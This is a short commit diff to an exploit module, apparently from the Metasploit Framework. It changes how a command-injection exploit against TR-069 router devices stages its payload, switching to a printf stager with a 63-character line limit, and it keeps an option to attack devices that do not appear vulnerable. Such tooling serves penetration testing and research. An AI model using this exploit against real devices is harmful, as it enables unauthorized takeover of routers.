Linemax 63, switch to printf

Author: Tod Beardsley

modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb

@@ -116,15 +116,22 @@ def check
     return Exploit::CheckCode::Safe
   end
 
+  def inject_staged_data
+    execute_cmdstager(
+      flavor: :printf,
+      linemax: 63
+    )
+  end
+
   def exploit
     print_status("#{peer} - Checking...")
 
     if check == Exploit::CheckCode::Appears
       print_status("#{peer} - Appears vulnerable")
-      execute_cmdstager({:flavor => :echo})
+      inject_staged_data
     elsif datastore['FORCE_EXPLOIT']
       print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
-      execute_cmdstager({:flavor => :echo})
+      inject_staged_data
     else
       fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
     end